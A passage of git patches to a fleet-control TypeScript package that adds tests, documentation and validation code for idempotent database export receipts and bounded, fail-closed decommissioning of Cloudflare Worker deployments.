b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts index 3e1155c3..a6e676e6 100644 --- a/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts +++ b/packages/fleet-control/test/wrangler-plain-worker-provisioning-api.test.ts @@ -12,6 +12,7 @@ import { plainWorkerBindingsToProviderShape, } from '../src/provider-binding-inventory.js'; import type { + DatabaseExportReceiptIdentity, DecommissionAttachmentScanInput, DecommissionAttachmentScanResult, ExternalMutationFence, @@ -31,6 +32,14 @@ import { registerScratchCleanup, } from './fixtures/wrangler-fs-mock.js'; +const RECEIPT_AUTHORITY = 'file:///fleet-exports/.anchorage-receipts/v1'; +const RECEIPT_IDENTITY: DatabaseExportReceiptIdentity = { + version: 1, + authority: RECEIPT_AUTHORITY, + databaseId: '00000000-0000-0000-0000-000000000001', + operationId: '00000000-0000-4000-8000-000000000002', +}; + const fsControl = vi.hoisted(() => ({ failFleetCleanup: false, residualDirectory: undefined, @@ -1047,6 +1056,278 @@ describe('WranglerPlainWorkerProvisioningApi mutations', () => { }); describe('WranglerPlainWorkerProvisioningApi exports', () => { + it('exports one canonical receipt by immutable database identity and cleans scratch', async () => { + const bytes = 'canonical Wrangler receipt'; + const sha256 = createHash('sha256').update(bytes).digest('hex'); + let outputPath = ''; + const runner = new FakeRunner(async (arguments_) => { + outputPath = arguments_[arguments_.indexOf('--output') + 1] as string; + expect(arguments_.slice(0, 3)).toEqual([ + 'd1', + 'export', + RECEIPT_IDENTITY.databaseId, + ]); + await writeFile(outputPath, bytes); + return { stdout: '', stderr: '' }; + }); + let authorityReads = 0; + let methodReads = 0; + let receiver: unknown; + let expectedPromise: Promise | undefined; + const store: DurableDatabaseExportStore = { + async write() { + throw new Error('legacy export must not run'); + }, + }; + Object.defineProperties(store, { + receiptAuthority: { + configurable: true, + get() { + authorityReads += 1; + return RECEIPT_AUTHORITY; + }, + }, + writeReceipt: { + configurable: true, + get() { + methodReads += 1; + return async function ( + this: unknown, + input: Parameters< + NonNullable + >[0], + ) { + receiver = this; + expect(input.identity).toEqual(RECEIPT_IDENTITY); + expect(input.contentLength).toBe(Buffer.byteLength(bytes)); + expectedPromise = input.expectedIntegrity; + const body = await drain(input.body); + await expect(input.expectedIntegrity).resolves.toEqual({ + size: Buffer.byteLength(bytes), + sha256, + }); + return { + location: 'memory://receipt', + size: body.size, + sha256: body.sha256, + }; + }; + }, + }, + }); + const subject = await api(runner, { exportStore: store }); + const exportReceipt = subject.exportDatabaseReceipt; + if (!exportReceipt) throw new Error('expected receipt export capability'); + const clock = vi.spyOn(Date, 'now').mockImplementation(() => { + throw new Error('receipt export must not consult the clock'); + }); + const successfulFence = mutationFence(); + try { + await expect( + exportReceipt(RECEIPT_IDENTITY, successfulFence), + ).resolves.toEqual({ + location: 'memory://receipt', + size: Buffer.byteLength(bytes), + sha256, + }); + } finally { + clock.mockRestore(); + } + expect([authorityReads, methodReads]).toEqual([1, 1]); + expect(receiver).toBe(store); + expect(expectedPromise).toBeInstanceOf(Promise); + expect(successfulFence.assertOwned).toHaveBeenCalledTimes(1); + await expectExportScratchRemoved(outputPath); + + runner.calls.length = 0; + const authorityFailure = await Promise.resolve() + .then(() => + exportReceipt( + { ...RECEIPT_IDENTITY, authority: 'file:///other/receipts/v1' }, + mutationFence(), + ), + ) + .catch((error: unknown) => error); + expect(authorityFailure).toBeInstanceOf(Error); + expect((authorityFailure as Error).message).toBe( + 'database export receipt authority differs from configured authority', + ); + expect((authorityFailure as Error).cause).toBeUndefined(); + expect(runner.calls).toEqual([]); + + const absent = await api(new FakeRunner()); + expect('databaseExportReceiptAuthority' in absent).toBe(false); + expect('exportDatabaseReceipt' in absent).toBe(false); + const malformedCapability = await api(new FakeRunner(), { + exportStore: { + receiptAuthority: RECEIPT_AUTHORITY, + async write() { + throw new Error('legacy export must not run'); + }, + }, + }).catch((error: unknown) => error); + expect(malformedCapability).toBeInstanceOf(Error); + expect((malformedCapability as Error).message).toBe( + 'database export receipt capability is malformed', + ); + expect((malformedCapability as Error).cause).toBeUndefined(); + + for (const property of ['receiptAuthority', 'writeReceipt'] as const) { + const throwingStore: DurableDatabaseExportStore = { + async write() { + throw new Error('legacy export must not run'); + }, + }; + if (property === 'writeReceipt') { + Object.defineProperty(throwingStore, 'receiptAuthority', { + configurable: true, + value: RECEIPT_AUTHORITY, + }); + } + Object.defineProperty(throwingStore, property, { + configurable: true, + get() { + throw new Error(`${property} getter must not escape`); + }, + }); + const getterFailure = await api(new FakeRunner(), { + exportStore: throwingStore, + }).catch((error: unknown) => error); + expect(getterFailure).toBeInstanceOf(Error); + expect((getterFailure as Error).message).toBe( + 'database export receipt capability is malformed', + ); + expect((getterFailure as Error).cause).toBeUndefined(); + } + + const verifyFailureSettlement = async ( + primary: unknown, + cleanupFails: boolean, + ) => { + const exportDirectory = await mkdtemp( + join(tmpdir(), 'anchorage-fleet-receipt-'), + ); + exportDirectories.add(exportDirectory); + const failingRunner = new FakeRunner(async (arguments_) => { + const location = arguments_[arguments_.indexOf('--output') + 1]; + if (!location) throw new Error('missing output path'); + await writeFile(location, bytes); + return { stdout: '', stderr: '' }; + }); + const failingStore: DurableDatabaseExportStore = { + receiptAuthority: RECEIPT_AUTHORITY, + async write() { + throw new Error('legacy export must not run'); + }, + async writeReceipt() { + throw primary; + }, + }; + const failing = await api(failingRunner, { + exportDirectory, + exportStore: failingStore, + }); + const failingExportReceipt = failing.exportDatabaseReceipt; + if (!failingExportReceipt) { + throw new Error('expected failing receipt export capability'); + } + fsControl.failFleetCleanup = cleanupFails; + const [state] = await Promise.allSettled([ + failingExportReceipt(RECEIPT_IDENTITY, mutationFence()), + ]); + expect(state?.status).toBe('rejected'); + if (state?.status !== 'rejected') { + throw new Error('expected receipt export to reject'); + } + if (cleanupFails) { + expect(state.reason).toBeInstanceOf(AggregateError); + expect((state.reason as AggregateError).message).toBe( + 'database export receipt and Wrangler scratch cleanup failed', + ); + expect((state.reason as AggregateError).errors).toEqual([ + primary, + fsControl.cleanupError, + ]); + fsControl.failFleetCleanup = false; + const residual = fsControl.residualDirectory; + if (residual) { + const actual = + await vi.importActual( + 'node:fs/promises', + ); + await actual.rm(residual, { recursive: true, force: true }); + fsControl.residualDirectory = undefined; + } + } else { + expect(state.reason).toBe(primary); + } + }; + for (const primary of [new Error('primary'), undefined, null]) { + await verifyFailureSettlement(primary, false); + await verifyFailureSettlement(primary, true); + } + + fsControl.failFleetCleanup = true; + const cleanupOnlyDirectory = await mkdtemp( + join(tmpdir(), 'anchorage-fleet-receipt-'), + ); + exportDirectories.add(cleanupOnlyDirectory); + const cleanupOnlySubject = await api(runner, { + exportDirectory: cleanupOnlyDirectory, + exportStore: store, + }); + const cleanupOnlyExportReceipt = cleanupOnlySubject.exportDatabaseReceipt; + if (!cleanupOnlyExportReceipt) { + throw new Error('expected cleanup-only receipt export capability'); + } + const cleanupOnlyFence = mutationFence(); + const cleanupOnlyFailure = await cleanupOnlyExportReceipt( + RECEIPT_IDENTITY, + cleanupOnlyFence, + ).catch((error: unknown) => error); + expect(cleanupOnlyFailure).toBe(fsControl.cleanupError); + expect(cleanupOnlyFence.assertOwned).toHaveBeenCalledTimes(1); + fsControl.failFleetCleanup = false; + const cleanupResidual = fsControl.residualDirectory; + if (cleanupResidual) { + const actual = + await vi.importActual( + 'node:fs/promises', + ); + await actual.rm(cleanupResidual, { recursive: true, force: true }); + fsControl.residualDirectory = undefined; + } + + const dishonestStore: DurableDatabaseExportStore = { + receiptAuthority: RECEIPT_AUTHORITY, + async write() { + throw new Error('legacy export must not run'); + }, + async writeReceipt(input) { + const body = await drain(input.body); + await input.expectedIntegrity; + return { + location: 'memory://dishonest-receipt', + size: body.size + 1, + sha256: body.sha256, + }; + }, + }; + const dishonest = await api(runner, { exportStore: dishonestStore }); + const dishonestExportReceipt = dishonest.exportDatabaseReceipt; + if (!dishonestExportReceipt) { + throw new Error('expected dishonest receipt export capability'); + } + const dishonestFence = mutationFence(); + await expect( + dishonestExportReceipt(RECEIPT_IDENTITY, dishonestFence), + ).rejects.toThrow( + 'durable database export store returned mismatched committed integrity', + ); + expect(dishonestFence.assertOwned).toHaveBeenCalledTimes(1); + await expectExportScratchRemoved(outputPath); + }); + it('removes export scratch when the fence denies dispatch', async () => { const exportDirectory = await mkdtemp(join(tmpdir(), 'adapter-export-')); exportDirectories.add(exportDirectory); From eb71c3f0c4a723ac306d3411f3bb64dbeda2c16b Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 30 Aug 2026 10:34:26 +0400 Subject: [PATCH 035/169] refactor(fleet-control): trim receipt publication input --- packages/fleet-control/src/export-store.ts | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/packages/fleet-control/src/export-store.ts b/packages/fleet-control/src/export-store.ts index 739fb8f8..842472dc 100644 --- a/packages/fleet-control/src/export-store.ts +++ b/packages/fleet-control/src/export-store.ts @@ -23,10 +23,7 @@ import { databaseExportReceiptIdentityFromUnknown, } from './database-export-store.js'; import { assertFileName } from './export-file-name.js'; -import type { - DatabaseExportIntegrity, - DatabaseExportReceiptIdentity, -} from './types.js'; +import type { DatabaseExportIntegrity } from './types.js'; type FileHandle = Awaited>; @@ -679,7 +676,6 @@ async function cleanupTemporaryHandle( async function publishReceipt( input: { - readonly identity: DatabaseExportReceiptIdentity; readonly body: ReadableStream; readonly contentLength?: number; }, @@ -910,7 +906,6 @@ async function writeReceipt( } return await publishReceipt( { - identity, body: body as ReadableStream, ...(contentLengthValue === undefined ? {} From 36a4b7c07ac51d7e1acb766e12f5e0e8dd3ffcf5 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Sun, 30 Aug 2026 14:12:38 +0400 Subject: [PATCH 036/169] feat(fleet-control): complete bounded decommission Persist the receipt authority in Fleet D1, consume bounded pre-export and pre-delete scans under the deployment lease, and converge export, deletion, and terminal writes after lost responses. Keep shell-less late-phase recovery on the legacy path, add real-D1 and cross-backend proofs, document the Paid Worker requirement, and enforce the seven-day age gate in the packed consumer. --- .changeset/bounded-decommission.md | 7 + .dependency-cruiser.cjs | 4 +- docs/fleet-control.md | 16 +- .../scripts/packed-consumer-test.mjs | 50 +- .../fleet-control/src/decommission-advance.ts | 638 +++++- .../fleet-control/src/decommission-intent.ts | 53 +- packages/fleet-control/src/provision.ts | 73 +- packages/fleet-control/src/types.ts | 13 +- .../test/cross-backend-continuation.test.ts | 35 +- .../test/decommission-intent.test.ts | 202 +- .../fixtures/decommission-intent-fixture.ts | 7 + .../fixtures/fleet-state-harness-probe.ts | 543 ++++- .../test/fixtures/plain-worker-harnesses.ts | 139 +- .../test/fixtures/provider-world.ts | 34 +- .../test/plain-worker-backend-conformance.ts | 23 +- .../plain-worker-conformance.wrangler.test.ts | 2 +- packages/fleet-control/test/provision.test.ts | 2015 ++++++++++++++++- .../test/state-store.harness.test.ts | 544 ++++- .../fleet-control/test/state-store.test.ts | 53 +- 19 files changed, 4123 insertions(+), 328 deletions(-) create mode 100644 .changeset/bounded-decommission.md diff --git a/.changeset/bounded-decommission.md b/.changeset/bounded-decommission.md new file mode 100644 index 00000000..4d6b3eff --- /dev/null +++ b/.changeset/bounded-decommission.md @@ -0,0 +1,7 @@ +--- +'@proofoftech/fleet-control': minor +--- + +Add token-driven bounded normal decommissioning for at-least-once control-plane Worker workflows. Fleet D1 owns scan progress. Each call performs at most one bounded scan chunk; only an exact matching verify may immediately consume that result through its single same-lease resource action. Other calls perform at most one lifecycle or resource action group. + +Persist an immutable database-export receipt authority before the first D1 scan or export. Retries after artifact commit or Fleet state-write loss converge on the same filesystem or R2 receipt; authority changes and byte collisions preserve the committed winner and fail closed. Custom bounded backends must expose the paired receipt authority and export capability. Queue-driven bounded decommissioning requires Workers Paid because its bounded multi-R2 read groups can exceed the Free plan external-subrequest limit. diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index a6339b0a..8cf22ed9 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -207,7 +207,7 @@ module.exports = { name: 'fleet-control-decommission-advance-is-transport-neutral', severity: 'error', comment: - 'The bounded decommission coordinator depends only on provider-neutral ports and state. Keeping provider clients, Wrangler, export stores, root barrels, and unbounded lifecycle coordinators out of its reachable graph preserves the Worker-safe transport boundary.', + 'The bounded decommission coordinator depends only on provider-neutral ports and state, including the provider-neutral database receipt port. Keeping provider clients, Wrangler, concrete export stores, root barrels, and unbounded lifecycle coordinators out of its reachable graph preserves the Worker-safe transport boundary.', from: { path: [ '^packages/fleet-control/src/decommission-advance\\.ts$', @@ -215,7 +215,7 @@ module.exports = { ], }, to: { - path: '(?:^packages/fleet-control/src/(?:cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|database-export-store|export-file-name|export-store|r2-export-store|provision|fleet|index)\\.ts$|^packages/fleet-control/src/workers/|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', + path: '(?:^packages/fleet-control/src/(?:cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|provision|fleet|index)\\.ts$|^packages/fleet-control/src/workers/|^cloudflare(?:/|$)|(?:^|/)node_modules/(?:\\.pnpm/)?cloudflare(?:@|/))', reachable: true, }, }, diff --git a/docs/fleet-control.md b/docs/fleet-control.md index 9b628aaa..5afec8a9 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -205,7 +205,21 @@ The maintenance watchdog evaluates deadline expiry, SLA sweep, retention purge, ## Decommission without losing the export -`decommissionDeployment()` persists each destructive phase: +Use `advanceDecommissionDeployment()` from a Queue-driven control-plane Worker for request-bounded normal decommissioning. Call it first with `start`, then re-enqueue only the pending token returned by each call. Fleet D1 owns the operation and scan progress. A Queue message carries a continuation claim, not authority. + +At-least-once delivery is safe. A stale token returns the current durable result without repeating provider work. Future tokens and tokens for another deployment or operation fail closed. A blocked result remains inert until you remove the reported attachment and submit exact `restart-blocked` with its current token. + +Each call performs at most one bounded scan chunk. Only an exact matching verify may consume that scan result immediately through one resource action under the same live lease. Evidence never becomes a reusable deletion certificate. A call without matching verify performs at most one lifecycle or resource action group. + +Queue-driven bounded decommissioning requires Workers Paid. Each of the two all-application-R2 read groups can reserve up to 708 external subrequests for the supported maximum of 118 application buckets. That exceeds the Free plan limit of 50 subrequests per request and remains below the Paid default of 10,000. These limits were checked on 2026-08-30 in the [Cloudflare Workers limits](https://developers.cloudflare.com/workers/platform/limits/). + +Before the first D1 scan or export, Fleet D1 persists one immutable receipt authority. The receipt identity combines that authority, the canonical lowercase D1 UUID, and the decommission operation UUID. Retries after receipt commit or Fleet write loss converge on the same artifact. An authority change or byte collision preserves the committed winner and fails closed. + +Custom bounded backends must expose both `databaseExportReceiptAuthority` and `exportDatabaseReceipt()`. The export method must return descriptor-safe plain data with the matching database ID, location, positive size, and lowercase SHA-256 digest. Fleet control accepts safe extra plain-data fields but strips them. It rejects prototype-bearing instances, accessors, proxies, and malformed required fields. + +The synchronous `decommissionDeployment()` drains this bounded engine for every row with a normal decommission shell. It also selects bounded execution for an early shell-less row with the scan capability and at least one receipt member, so a malformed partial pair fails closed. The legacy synchronous path remains for shell-less late D1 or terminal rows and for other shell-less rows that lack the complete scan-plus-receipt capability. + +Normal decommission persists these destructive phases: 1. Require every fleet-owned application R2 bucket to be empty before any traffic mutation 2. Remove traffic, prove zero ingress, and persist `traffic-removed` diff --git a/packages/fleet-control/scripts/packed-consumer-test.mjs b/packages/fleet-control/scripts/packed-consumer-test.mjs index 8063d6b6..48003984 100644 --- a/packages/fleet-control/scripts/packed-consumer-test.mjs +++ b/packages/fleet-control/scripts/packed-consumer-test.mjs @@ -138,6 +138,8 @@ try { name: 'fleet-control-packed-consumer', private: true, type: 'module', + packageManager: 'pnpm@10.34.4', + engines: { node: '>=22.22.0', pnpm: '>=10.16.0' }, dependencies: { '@proofoftech/fleet-control': `file:${tarball}`, '@proofoftech/flowsafe': `link:${flowsafeDirectory}`, @@ -154,7 +156,7 @@ try { // whole window between the version bump and the release publishing. await writeFile( join(consumerDirectory, 'pnpm-workspace.yaml'), - `packages:\n - "."\noverrides:\n "@proofoftech/flowsafe": ${JSON.stringify( + `minimumReleaseAge: 10080\npackages:\n - "."\noverrides:\n "@proofoftech/flowsafe": ${JSON.stringify( `link:${flowsafeDirectory}`, )}\n`, ); @@ -486,7 +488,15 @@ const decommissionCapabilities: readonly DecommissionAdvanceCapability[] = [ 'application-r2-inspection', 'application-r2-empty', 'application-r2-delete', + 'database-export-receipt', ]; +const optionalReceiptAuthority: string | undefined = + decommissionCommon.databaseExportReceiptAuthority; +if (decommissionIntent.state === 'complete') { + const requiredReceiptAuthority: string = + decommissionIntent.databaseExportReceiptAuthority; + void requiredReceiptAuthority; +} const decommissionAdvanceOptions: AdvanceDecommissionDeploymentOptions = { backend: provisioningBackend, store: fleetStateStore, @@ -600,6 +610,7 @@ void [ databaseResidualAssertion, decommissionActions, decommissionCapabilities, + optionalReceiptAuthority, decommissionAdvanceOptions, decommissionAdvanceResults, boundedDecommissionAdvance, @@ -755,6 +766,25 @@ assert.equal( missingCapability.message, 'backend cannot perform bounded decommission attachment scans', ); +const missingReceiptCapability = new DecommissionAdvanceCapabilityError( + 'database-export-receipt', +); +assert.equal( + Object.getPrototypeOf(missingReceiptCapability), + DecommissionAdvanceCapabilityError.prototype, +); +assert.equal( + missingReceiptCapability.name, + 'DecommissionAdvanceCapabilityError', +); +assert.equal( + missingReceiptCapability.capability, + 'database-export-receipt', +); +assert.equal( + missingReceiptCapability.message, + 'backend cannot write idempotent database export receipts', +); const restartError = new DecommissionAdvanceRestartError(); assert.equal(restartError.name, 'DecommissionAdvanceRestartError'); assert.equal( @@ -870,19 +900,11 @@ assert.ok(new WorkersForPlatformsBackend(complete)); // metadata mirror, so --offline fails there with ERR_PNPM_NO_OFFLINE_META // while passing on a developer machine whose mirror is warm. // - // Resolution is still pinned: cloudflare and p-queue come from the packed - // manifest as exact versions and flowsafe is overridden to the workspace - // tree, so nothing floats. The age-gate flag matches the sibling gates. - run( - 'pnpm', - [ - 'install', - '--prefer-offline', - '--ignore-scripts', - '--config.minimum-release-age=0', - ], - { cwd: consumerDirectory }, - ); + // Resolution is pinned and the standalone workspace enforces the same + // seven-day quarantine as the repository. Lifecycle scripts stay disabled. + run('pnpm', ['install', '--prefer-offline', '--ignore-scripts'], { + cwd: consumerDirectory, + }); // Prove the override actually took. Without this, deleting the overrides // block above leaves this gate green while the consumer resolves the // previously published flowsafe instead of the one being released with it. diff --git a/packages/fleet-control/src/decommission-advance.ts b/packages/fleet-control/src/decommission-advance.ts index 4c838b8b..bf39cf60 100644 --- a/packages/fleet-control/src/decommission-advance.ts +++ b/packages/fleet-control/src/decommission-advance.ts @@ -14,8 +14,13 @@ import { parseWorkerAttachmentScanProgress, WORKER_ATTACHMENT_EVIDENCE_BOUND, } from './cloudflare-worker-attachment-scan-state.js'; +import { + captureDatabaseExportReceiptCapability, + databaseExportReceiptIdentityFromUnknown, +} from './database-export-store.js'; import { classifyDecommissionAdvanceToken, + DecommissionAdvanceIntentError, DecommissionAdvanceTokenDeploymentError, DecommissionAdvanceTokenOperationError, normalizeDecommissionAdvanceIntent, @@ -25,6 +30,7 @@ import { deploymentSpecDigest } from './spec-digest.js'; import { cloneBoundedPlainData } from './strict-plain-data.js'; import type { ApplicationR2Resource, + DatabaseExport, DatabaseReference, DecommissionAdvanceIntent, DecommissionAdvanceToken, @@ -47,10 +53,20 @@ import { validateDeploymentSpec } from './validation.js'; const ACTION_ERROR = 'decommission advance action is malformed'; const RESULT_ERROR = 'bounded decommission attachment result is malformed'; +const DATABASE_EXPORT_RESULT_ERROR = + 'bounded decommission database export result is malformed'; +const DATABASE_REFERENCE_ERROR = 'persisted database reference is malformed'; +const DATABASE_OWNER_ERROR = 'persisted database owner is malformed'; +const D1_APPLICATION_RESOURCES_ERROR = + 'normal decommission D1 work requires every application R2 resource to be deleted'; const ATTACHMENT_STRING_BYTE_BOUND = 4_096; const RESULT_PLAIN_DATA_DEPTH_BOUND = 64; const RESULT_PLAIN_DATA_NODE_BOUND = 8_192; const RESULT_PLAIN_DATA_BYTE_BOUND = 96 * 1_024; +const DATABASE_REFERENCE_NODE_BOUND = 8; +const DATABASE_REFERENCE_BYTE_BOUND = 16_384; +const SHA256 = /^[0-9a-f]{64}$/u; +const STRUCTURED_CLONE = structuredClone; const NORMAL_ENTRY_PHASES = new Set([ 'publishing', 'ready', @@ -125,6 +141,7 @@ export type DecommissionAdvanceResult = export type DecommissionAdvanceCapability = | 'attachment-scan' | 'database-residuals' + | 'database-export-receipt' | 'application-r2-inspection' | 'application-r2-empty' | 'application-r2-delete'; @@ -135,6 +152,8 @@ const CAPABILITY_MESSAGES: Readonly< 'attachment-scan': 'backend cannot perform bounded decommission attachment scans', 'database-residuals': 'backend cannot inspect database deletion residuals', + 'database-export-receipt': + 'backend cannot write idempotent database export receipts', 'application-r2-inspection': 'backend cannot inspect application R2 resources', 'application-r2-empty': 'backend cannot attest application R2 emptiness', @@ -174,6 +193,7 @@ export function decommissionAdvanceActionFromUnknown( maxSerializedBytes: 2_048, error: () => new Error(ACTION_ERROR), }); + Reflect.apply(STRUCTURED_CLONE, undefined, [value]); } catch { return malformedAction(); } @@ -315,11 +335,44 @@ export async function reconcilePersistedDatabase( fence: ExternalMutationFence, requireOwner = true, ): Promise<(DatabaseReference & { readonly created: false }) | undefined> { - const database = await backend.getDatabase(record.databaseId); - if (!database) { + const rawDatabase: unknown = await backend.getDatabase(record.databaseId); + if (rawDatabase === undefined) { if (allowAbsent) return undefined; throw new Error(`persisted database '${record.databaseId}' is absent`); } + let plainDatabase: unknown; + try { + plainDatabase = cloneBoundedPlainData(rawDatabase, { + maxDepth: 1, + maxNodes: DATABASE_REFERENCE_NODE_BOUND, + maxScalarBytes: DATABASE_REFERENCE_BYTE_BOUND, + maxSerializedBytes: DATABASE_REFERENCE_BYTE_BOUND, + error: () => new Error(DATABASE_REFERENCE_ERROR), + }); + Reflect.apply(STRUCTURED_CLONE, undefined, [rawDatabase]); + } catch { + throw new Error(DATABASE_REFERENCE_ERROR); + } + if ( + !plainDatabase || + typeof plainDatabase !== 'object' || + Array.isArray(plainDatabase) + ) { + throw new Error(DATABASE_REFERENCE_ERROR); + } + const candidate = plainDatabase as Record; + if ( + !boundedString(candidate.id) || + !boundedString(candidate.name) || + candidate.created !== false + ) { + throw new Error(DATABASE_REFERENCE_ERROR); + } + const database = { + id: candidate.id, + name: candidate.name, + created: false as const, + }; if ( database.id !== record.databaseId || database.name !== record.databaseName @@ -329,14 +382,20 @@ export async function reconcilePersistedDatabase( ); } if (requireOwner) { - const owner = await backend.readDeploymentIdentity(database, fence); + const owner: unknown = await backend.readDeploymentIdentity( + database, + fence, + ); + if (owner !== undefined && !boundedString(owner)) { + throw new Error(DATABASE_OWNER_ERROR); + } if (owner !== record.tenantTag) { throw new Error( `refusing database operation for '${database.id}' owned by '${owner ?? 'no deployment'}'`, ); } } - return { id: database.id, name: database.name, created: false }; + return database; } function requireCapability( @@ -356,6 +415,55 @@ function requiredCapability( return available as NonNullable; } +type ReceiptCapability = Readonly<{ + authority: string; + exportReceipt: NonNullable; +}>; + +function receiptCapability(backend: ProvisioningBackend): ReceiptCapability { + const captured = captureDatabaseExportReceiptCapability(backend, () => [ + backend.databaseExportReceiptAuthority, + backend.exportDatabaseReceipt, + ]); + if (!captured) { + throw new DecommissionAdvanceCapabilityError('database-export-receipt'); + } + return { + authority: captured.authority, + exportReceipt: captured.method as ReceiptCapability['exportReceipt'], + }; +} + +function databaseReceiptIdentity( + record: Pick, + operationId: string, + authority: string, + expectedAuthority: string, +) { + return databaseExportReceiptIdentityFromUnknown( + { + version: 1, + authority, + databaseId: record.databaseId, + operationId, + }, + expectedAuthority, + ); +} + +/** @internal Cross-field fence before normal-decommission D1 work. */ +export function assertNormalDecommissionD1ResourcesDeleted( + record: Pick, +): void { + if ( + (record.applicationResources ?? []).some( + (resource) => resource.state !== 'deleted', + ) + ) { + throw new Error(D1_APPLICATION_RESOURCES_ERROR); + } +} + function tokenFor(record: FleetRecord): DecommissionAdvanceToken { const intent = record.decommissionIntent; if (!intent) throw new DecommissionAdvanceTokenOperationError(); @@ -429,6 +537,7 @@ async function writeIntent( type IntentTransition = | Readonly<{ state: 'transitioning'; + databaseExportReceiptAuthority?: string; generation?: number; lifecyclePhase?: NormalDecommissionLifecyclePhase; }> @@ -436,6 +545,7 @@ type IntentTransition = state: 'discover'; purpose: DecommissionAttachmentPurpose; progress: DecommissionAttachmentProgress; + databaseExportReceiptAuthority?: string; generation?: number; lifecyclePhase?: NormalDecommissionLifecyclePhase; }> @@ -444,6 +554,7 @@ type IntentTransition = purpose: DecommissionAttachmentPurpose; progress: DecommissionAttachmentProgress; discoverEvidence: DecommissionAttachmentScanEvidence; + databaseExportReceiptAuthority?: string; generation?: number; lifecyclePhase?: NormalDecommissionLifecyclePhase; }> @@ -451,6 +562,7 @@ type IntentTransition = state: 'blocked'; purpose: DecommissionAttachmentPurpose; attachment: DecommissionBlockedAttachment; + databaseExportReceiptAuthority?: string; generation?: number; lifecyclePhase?: NormalDecommissionLifecyclePhase; }>; @@ -460,6 +572,9 @@ function nextIntent( timestamp: string, values: IntentTransition, ): Exclude { + const databaseExportReceiptAuthority = + intent.databaseExportReceiptAuthority ?? + values.databaseExportReceiptAuthority; const common = { version: 1 as const, operationId: intent.operationId, @@ -467,6 +582,9 @@ function nextIntent( generation: values.generation ?? intent.generation, updatedAt: timestamp, identity: intent.identity, + ...(databaseExportReceiptAuthority + ? { databaseExportReceiptAuthority } + : {}), lifecyclePhase: values.lifecyclePhase ?? intent.lifecyclePhase, }; switch (values.state) { @@ -608,7 +726,7 @@ function assertReservedAttempts(value: unknown, maximum: number): void { } } -function boundedAttachmentString(value: unknown): value is string { +function boundedString(value: unknown): value is string { return ( typeof value === 'string' && value.length > 0 && @@ -625,13 +743,13 @@ function safeAttachment(value: unknown): DecommissionBlockedAttachment { const plane = candidate.plane; const scriptName = candidate.scriptName; const dispatchNamespace = candidate.dispatchNamespace; - if (plane === 'ordinary' && boundedAttachmentString(scriptName)) { + if (plane === 'ordinary' && boundedString(scriptName)) { return { plane, scriptName }; } if ( plane === 'dispatch' && - boundedAttachmentString(scriptName) && - boundedAttachmentString(dispatchNamespace) + boundedString(scriptName) && + boundedString(dispatchNamespace) ) { return { plane, @@ -664,9 +782,18 @@ async function commitRecord( record: FleetRecord, intent: Exclude, clock: () => number, - recordValues: Readonly<{ - applicationResources?: FleetRecord['applicationResources']; - }>, + recordValues: Readonly< + Partial< + Pick< + FleetRecord, + | 'applicationResources' + | 'databaseExportLocation' + | 'databaseExportSha256' + | 'databaseExportSize' + | 'phase' + > + > + >, intentValues: Parameters[2], ): Promise { const timestamp = nowIso(clock); @@ -1140,45 +1267,353 @@ async function advanceR2Transition( ); } -async function advanceR2Scan( +type ActiveDecommissionIntent = Exclude< + DecommissionAdvanceIntent, + { readonly state: 'complete' } +>; + +type ScanDecommissionIntent = Extract< + DecommissionAdvanceIntent, + { readonly state: 'discover' | 'verify' } +>; + +type Settlement = + | Readonly<{ status: 'fulfilled'; value: Value }> + | Readonly<{ status: 'rejected'; reason: unknown }>; + +async function settleOperation( + operation: () => Promise, +): Promise> { + try { + return { status: 'fulfilled', value: await operation() }; + } catch (reason) { + return { status: 'rejected', reason }; + } +} + +function selectedReceiptAuthority(intent: ActiveDecommissionIntent): string { + const authority = intent.databaseExportReceiptAuthority; + if (typeof authority !== 'string' || authority.length === 0) { + throw new DecommissionAdvanceIntentError(); + } + return authority; +} + +function databasePreDeletePurpose( + record: FleetRecord, +): Extract< + DecommissionAttachmentPurpose, + { readonly kind: 'database-pre-delete' } +> { + if ( + !boundedString(record.databaseExportLocation) || + typeof record.databaseExportSha256 !== 'string' || + !SHA256.test(record.databaseExportSha256) || + !Number.isSafeInteger(record.databaseExportSize) || + Number(record.databaseExportSize) < 1 + ) { + throw new DecommissionAdvanceIntentError(); + } + return { + kind: 'database-pre-delete', + databaseId: record.databaseId, + exportLocation: record.databaseExportLocation, + exportSha256: record.databaseExportSha256, + exportSize: record.databaseExportSize as number, + }; +} + +function databaseExportFromUnknown( + value: unknown, + databaseId: string, +): DatabaseExport { + let plain: unknown; + try { + plain = cloneBoundedPlainData(value, { + maxDepth: RESULT_PLAIN_DATA_DEPTH_BOUND, + maxNodes: RESULT_PLAIN_DATA_NODE_BOUND, + maxScalarBytes: RESULT_PLAIN_DATA_BYTE_BOUND, + maxSerializedBytes: RESULT_PLAIN_DATA_BYTE_BOUND, + error: () => new Error(DATABASE_EXPORT_RESULT_ERROR), + }); + Reflect.apply(STRUCTURED_CLONE, undefined, [value]); + } catch { + throw new Error(DATABASE_EXPORT_RESULT_ERROR); + } + if (!plain || typeof plain !== 'object' || Array.isArray(plain)) { + throw new Error(DATABASE_EXPORT_RESULT_ERROR); + } + const candidate = plain as Record; + if ( + candidate.databaseId !== databaseId || + !boundedString(candidate.location) || + !Number.isSafeInteger(candidate.size) || + Number(candidate.size) < 1 || + typeof candidate.sha256 !== 'string' || + !SHA256.test(candidate.sha256) + ) { + throw new Error(DATABASE_EXPORT_RESULT_ERROR); + } + return { + databaseId, + location: candidate.location, + size: Number(candidate.size), + sha256: candidate.sha256, + }; +} + +async function 